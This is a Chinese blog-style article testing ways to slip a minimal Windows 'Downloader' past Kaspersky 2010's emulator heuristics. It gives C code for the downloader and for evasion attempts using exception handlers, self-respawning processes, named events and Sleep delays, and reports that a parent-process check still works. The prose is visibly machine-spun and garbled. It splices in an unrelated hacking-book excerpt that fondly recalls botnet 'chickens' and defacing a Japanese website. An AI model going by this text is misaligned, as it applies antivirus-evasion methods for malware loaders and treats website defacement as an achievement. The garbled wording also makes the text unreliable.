卡巴斯基授权文件
据我理解在卡巴7中就有虚拟启发式查毒的功用。国内就有人在BLOG上颁发了一篇如何冲破卡巴7的虚拟机启发式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有该功用。卡巴斯基不消我多说了,各人都知道。
我比来在网上查到有人说卡巴斯基是俄罗斯国度科学院协作开辟的,军方和克里姆林宫专用。这个我还真的不分明了,请原谅我的蒙昧。我先来说下什么是虚拟机启发式杀毒。
我认为在这里的虚拟机启发式杀毒应该可以了解为在虚拟机中执行和启发式杀毒。虚拟机即结构一个虚拟执行情况或许说一个仿真的情况,将病毒等恶意代码在该仿真的情况中运行实现自己脱壳等等。该仿真的情况和用户计较机的真实情况是断绝的。
请输入图片描绘
我们都曾经一窍欠亨,都曾经艰巨前行,都曾经等候乐成,也都禁受过一次又一次凄惨掉败,还记得曾经玩远控花了整整两周才比及第一个肉鸡上线的冲动难以言表,还记妥当年花了整整一个月才在一个日本网站上挂上了“巍巍中华,国耻未忘”的黑页时兴奋得通宵难眠,尽管,那些日子如此之近,可是,在黑客世界艰巨爬行的我们,似乎阅历了千山万水,我此刻正在阅历的,所有初入界内的小白们也必将阅历。——黑客攻防册本《网络彩色》选段 某宝有。
举个例子:此刻的恶意代码都采纳加壳为自己提供爱护,尤其是一些已知病毒的变种。当采纳虚拟机执行技能加壳爱护的恶意代码仍能被杀毒软件检测到,有能力的读者可以自己尝试一下。
启发式指的是自我发明并揣度或鉴定事物的方法。启发式杀毒经由过程阐发顺序指令的序列或许API函数的挪用递次以及其他恶意代码与正常顺序的差别等教训和常识的组合来鉴定是否是恶意代码。这样的启发式杀毒具备某种人工智能特点。它的长处不消我多说空话,举个例子:Downloader相信各人都知道,最重要的两个API是URLDownloadToFile和ShellExecute(也可以是其他执行一个顺序的API)。比方,在使用虚拟机启发式杀毒时,当被查毒顺序的API挪用序列中呈现URLDownloadToFile或许ShellExecute,又或许不是依照先URLDownloadToFile后ShellExecute的挪用递次是不会被报Downloader的。
可以说由于主动进攻技能的各种错误谬误,此刻各杀毒软件厂商已经将虚拟机杀毒和启发式杀毒作为杀毒业界的追求和摸索的方针。可以预见到在将来几年内杀毒软件将不再会呈现当正常使用零碎和软件时频繁弹出主动进攻窗口的尴尬。
接下来将经由过程上面提到的Downloader例子阐发下卡巴的虚拟机启发式查毒的特点,并在最后给出一种能够的绕过办法和演示代码,供列位看官赏玩。
我假如您已经知道什么是Downloader,一个最复杂的Downloader是:
#include "stdafx.h" #include <urlmon.h> #include <Shellapi.h> #pragma comment (lib,"Urlmon.lib") int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0; }
这个顺序是使用Visual Studio 2008创立的Win32窗口工程。编译后卡巴2010直接报Downloader。首先使用了之前提到的xyzreg提到的办法,此刻在卡巴2010下已经不合用,复杂的测试了一下卡巴2010会把自己模仿成explorer.exe。所以查抄父过程是否是explorer.exe的办法不可了,可是如果查抄自己的父过程是否是cmd.exe就可以了。固然这个实用性并不强,因为要求Downloader必需由cmd.exe启动。
我感觉应该有其他的办法可以逃过虚拟查毒,可是这里只从虚拟查毒自身入手。首先想到的是这个虚拟机和真实情况是否有区别?这个回覆固然是必定的。可是这些区别在哪里,这些区别是否会影响到。是否存在一种情况虚拟机无法虚拟而导致虚拟情况下无法执行到URLDownloadToCacheFile和ShellExecute那就不会查抄到是Downloader了。这个思想很复杂,而后要怎么实现呢。
首先想到虚拟机是否虚拟了异常处置惩罚,如果没有虚拟异常处置惩罚,那我们认为的制造一个异常,将具有Downloader个性的API调要放到异常处置惩罚顺序中不就绕过了吗。于是有了下面的代码
BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult) { __try { *pResult = dividend / divisor; } __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return TRUE; } return TRUE; }
在Downloader的顺序入口以参数divisor为0挪用这个SafeDiv函数,。这样就会发生一个除0的错误。成效是卡巴报Downloader!看样子卡巴有对异常处置惩罚虚拟的能力。
恩。。。如果我在代码中添加int 3中断会发作什么情况呢?应该也虚拟了。此刻就来尝尝,果真在Downloader入口添加int 3后固然是查不出来了,呵呵,顺序也运行不明晰。接下来就看看能不克不及找到办法让顺序在真实情况下能运行在,虚拟机下停住了。没有多久想了一个代替的办法,判断顺序的输入参数。经由过程查抄顺序的输入参数来管制顺序的执行流程。复杂的在Downloader入口添加判断顺序参数的代码:
if(strcmp(argv[1],"1")!== 0) return;
顺序运行时输入参数“1”顺序执行Downloader的功用,在虚拟机中执行时没有参数输入所以顺序返回,检测不到恶意函数挪用递次。固然这样的恶意代码是丑恶的,所以我想到使用CreateProcess来启动Downloader自己的另一个实例。代码如下:
局部变量声明和初始化代码省略。。。
INT32 divisor = 1; if(argc == 1) { TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,π); ExitProcess(0); return; } if(strcmp(argv[1],"2") == 0) divisor = 0; SafeDiv(10,divisor,&Result); ExitProcess(0); return; }
编译乐成后,使用卡巴2010查毒。报Downloader!悲观啊!
将对函数参数查抄的方法换成使用“定名工具”的方法:
//界说一个“定名工具” TCHAR szMutex[] = L”11111”; HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex); int tmp = GetLastError(); if(tmp == 0) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( π, sizeof(pi) ); TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π); return 0; } TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0;
报Downloader!悲观!
看样子卡巴的虚拟机对API的模仿和顺序执行的流程虚拟很到位!不知道对工夫的虚拟的怎么样?代码中有Sleep(10000000)的语句会不会影响虚拟查毒的工夫呢?依据我的尝试在此中插手Sleep函数睡眠很长的一段工夫并没有影响虚拟杀毒查出Downloader的工夫,所以估量对工夫的虚拟能够欠好。将上面的代码中在CreateProcess挪用之后挪用Sleep睡眠一段较长的工夫如5秒,而后挪用CloseHandle敞开“定名事件”。
如果卡巴遇到Sleep函数复杂的跳过,则在虚拟机中执行的递次将是先执行Sleep后的CloseHandle敞开事件,而后再进入到新实例中创立“定名事件”,在这种情况下就能创立乐成,所以顺序的执行流程不会进入到URLDownloadToCacheFile处,以此绕过检测。可是实际情况时仍然被报Downloader,阐明卡巴2010对Sleep等工夫相关的函数虚拟的也很好。